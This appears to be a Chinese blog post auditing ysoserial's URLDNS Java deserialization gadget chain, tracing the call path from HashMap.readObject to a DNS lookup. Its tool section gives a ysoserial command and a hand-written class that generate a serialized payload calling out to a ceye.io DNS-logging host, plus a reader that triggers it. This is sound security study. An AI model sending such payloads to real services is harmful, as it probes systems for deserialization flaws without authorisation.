ysoserial中的URLDNS利用链代码审计

发布时间 2023-08-05 12:47:20作者: BattleofZhongDinghe

ysoserial中的URLDNS利用链代码审计

一.避坑

我使用了jdk1.8的版本,因为在使用jdk1.7版本的时候出现了如下报错

java: 程序包sun.rmi.server不存在
之后问chatgpt


之后我发现不知为什么我的jdk1.7里面没有rt.jar,所以我换成了jdk1.8

二.环境搭建

1.下载源码
https://github.com/frohoff/ysoserial
2.新建项目

3.点击next

4.点击next

5.导入源码


6.点击Add Configuration

7.配置执行的命令




8.点击右下角的load maven package
9.运行
成功会是这样的

三.正式审计

java反序列化利用
1.入口类重写了readObject方法
2.入口类可传入任意对象
3.执行类可被利用执行危险函数
链子
进入HashMap
HashMap->readObject()->hash()->hashCode()
进入URL
URL->hashCode()
URLStreamHandler->hashCode()
URLStreamHandler->getHostAddress()
InetAddress->getByName()
最终getByName()是可利用的危险函数
先从GeneratePayload打断点,调试

然后进入了URLDNS.java里

public Object getObject(final String url) throws Exception {

                //Avoid DNS resolution during payload creation
                //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
                URLStreamHandler handler = new SilentURLStreamHandler();

                HashMap ht = new HashMap(); // HashMap that will contain the URL
                URL u = new URL(null, url, handler); // URL to use as the Key
                ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

                Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

                return ht;
        }

继续按F7单步调试,发现HashMap,URL,这些都跳过去了,说明这是java的内部类

选中ht前面的HashMap,按ctrl+鼠标左键进入类

发现重写了readobject方法

关键点在这个位置,发现有putVal和hash,重点在hash

选中hash,ctrl+鼠标左键进入

发现hashCode

很多类里面都会使用hashCode,现在目的是找到一个调用了hashCode的类,但是这个类调用的hashCode直接或间接执行了危险函数
看URL类

进入,在URL.java里面也发现了个hashCode

进入handler的hashCode

进入了URLStreamHandler.java里

进入getHostAddress()

最终发现这里会发生一次dns查询

四.工具使用

1.java -jar ysoserial-all.jar URLDNS "http://x7f9c7.ceye.io" > urldns.txt
创建新的URLDNS.java

import java.io.FileInputStream;
import java.io.ObjectInputStream;
public class URLDNS{
	public static void main(String[] args) throws Exception{
		FileInputStream fis = new FileInputStream("urldns.txt");
		ObjectInputStream ois = new ObjectInputStream(fis);
		ois.readObject();
	}
}

javac URLDNS.java
java URLDNS
2.

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class EXPURLDNS{
	public static void main(String[] args) throws Exception{
		
		HashMap h = new HashMap();
		URL u = new URL("http://x7f9c7.ceye.io");
		Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
		f.setAccessible(true);
		
		//为了防止在serialize的时候就产生了url请求
		f.set(u,1); 
        h.put(u,1);
        f.set(u,-1);
		
		//生成文件
		ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("urldns.txt"));
		oos.writeObject(h);
	}
}
	

五.参考文章

https://www.cnblogs.com/z2n3/p/17168835.html
https://blog.csdn.net/qq_35733751/article/details/120174814